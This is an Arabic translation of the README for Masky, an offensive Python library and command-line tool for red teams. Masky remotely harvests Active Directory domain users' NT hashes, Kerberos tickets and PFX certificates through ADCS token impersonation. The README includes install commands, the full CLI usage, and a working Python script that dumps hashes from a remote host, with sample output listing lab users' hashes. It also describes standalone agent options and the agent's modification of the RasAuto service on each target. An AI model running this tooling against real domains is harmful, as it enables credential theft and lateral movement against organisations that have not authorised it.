
مكتبة Python مع واجهة سطر أوامر (CLI) تسمح بإلقاء بيانات اعتماد المستخدمين في المجال عن بُعد عبر ADCS دون تفريغ ذاكرة عملية LSASS
ماسكي هي مكتبة بايثون توفر طريقة بديلة لتفريغ بيانات اعتماد مستخدمي النطاق عن بُعد من خلال ADCS. تم بناء أداة سطر أوامر فوق هذه المكتبة لتجميع PFX وبصمات NT وTGT بسهولة على نطاق أوسع.
لا تستغل هذه الأداة أي ثغرة جديدة ولا تعمل عن طريق تفريغ ذاكرة عملية LSASS. بل تستفيد فقط من ميزات Windows وActive Directory المشروعة (انتحال الرمز المميز، المصادقة عبر الشهادة باستخدام كيربيروس، واسترداد بصمات NT عبر PKINIT). تم نشر مقال في المدونة لشرح التقنيات المطبقة وكيفية عمل ماسكي.
يعتمد كود ماسكي المصدر إلى حد كبير على الأدوات الرائعة Certify و Certipy. أشكر مؤلفيهم حقًا على الأبحاث المتعلقة بتقنيات الاستغلال الهجومي ضد ADCS (انظر قسم الشكر والتقدير).
يمكن تثبيت مكتبة ماسكي للبايثون 3 وأداة سطر الأوامر المرتبطة بها ببساطة من مستودع PyPi العام كما يلي:
pip install masky
يتم تضمين ملف وكيل ماسكي القابل للتنفيذ بالفعل ضمن حزمة PyPi.
علاوة على ذلك، إذا كنت بحاجة إلى تعديل الوكيل، يمكن إعادة تجميع كود C# عبر مشروع Visual Studio الموجود في agent/Masky.sln. يتطلب ذلك تثبيت .NET Framework 4 ليتم بناؤه.
تم تصميم ماسكي كمكتبة بايثون. بالإضافة إلى ذلك، تم إنشاء واجهة سطر أوامر فوقها لتسهيل استخدامها أثناء اختبار الاختراق أو أنشطة الفريق الأحمر.
لكلا الاستخدامين، تحتاج أولاً إلى الحصول على FQDN لـ خادم CA و اسم CA الخاص به المنشور عبر ADCS. يمكن الحصول على هذه المعلومات بسهولة عبر خيار certipy find أو عبر أداة certutil.exe المدمجة من مايكروسوفت. تأكد من تمكين قالب User الافتراضي على CA المستهدف.
تحذير: يقوم ماسكي بنشر ملف قابل للتنفيذ على كل هدف من خلال تعديل خدمة RasAuto الحالية. على الرغم من التراجع التلقائي لقيمة ImagePath الأصلية، إلا أن خطأ غير متوقع أثناء تشغيل ماسكي قد يتجاوز مرحلة التنظيف. لذلك، لا تنس إعادة تعيين القيمة الأصلية يدويًا في حالة التوقف غير المرغوب فيه.
يوضح العرض التوضيحي التالي استخدامًا أساسيًا لماسكي من خلال استهداف 4 أنظمة عن بُعد. يسمح تنفيذه بجمع بصمات NT وملفات CCACHE و PFX لثلاثة مستخدمين مختلفين للنطاق من نطاق اختبار sec.lab.
يوفر ماسكي أيضًا خيارات شائعة الاستخدام في مثل هذه الأدوات (عدد الخيوط، وضع المصادقة، تحميل الأهداف من ملفات، إلخ).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
يوجد أدناه نص برمجي بسيط يستخدم مكتبة ماسكي لجمع أسرار جلسات المستخدمين النشطة للنطاق من هدف بعيد.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# تحديد معلمات المصادقة
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# إنشاء مثيل ماسكي بهذه البيانات
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# تعيين هدف وتشغيل ماسكي ضده
target = "192.168.23.130"
rslts = m.run(target)
# التحقق مما إذا كان ماسكي قد نجح في اختطاف جلسة مستخدم واحدة على الأقل
# أو إذا حدث خطأ غير متوقع
if not rslts:
return False
# التكرار على كائن MaskyResult لعرض المستخدمين المخترقين والحصول على بصمات NT الخاصة بهم
print(f"النتائج من اسم المضيف: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
ينتج عن تنفيذه المخرجات التالية.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
يتم إرجاع كائن MaskyResults يحتوي على قائمة بكائنات User بعد تنفيذ ناجح لماسكي.
يرجى الاطلاع على وحدة masky\lib\results.py للتحقق من الطرق والخصائص التي توفرها هاتان الفئتان.
من إصدار ماسكي 0.0.5، يمكن الآن تشغيل الوكيل المستقل القابل للتنفيذ بسهولة بدون واجهة سطر أوامر بايثون.
فيما يلي الوسائط:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
المعامل /ca إلزامي كما في واجهة سطر أوامر بايثون. بالإضافة إلى ذلك، تمت إضافة الوسيطة /currentUser لتجنب تشغيل انتحال الرمز المميز. حيث سيتم تنفيذ طلب شهادة بسيط في سياق المستخدم الحالي، بناءً على القالب المقدم (template). تسمح المعاملات /output و /debug بتحديد المسار الذي سيتم إنشاء الملفات فيه.
القيم الافتراضية هي كما يلي: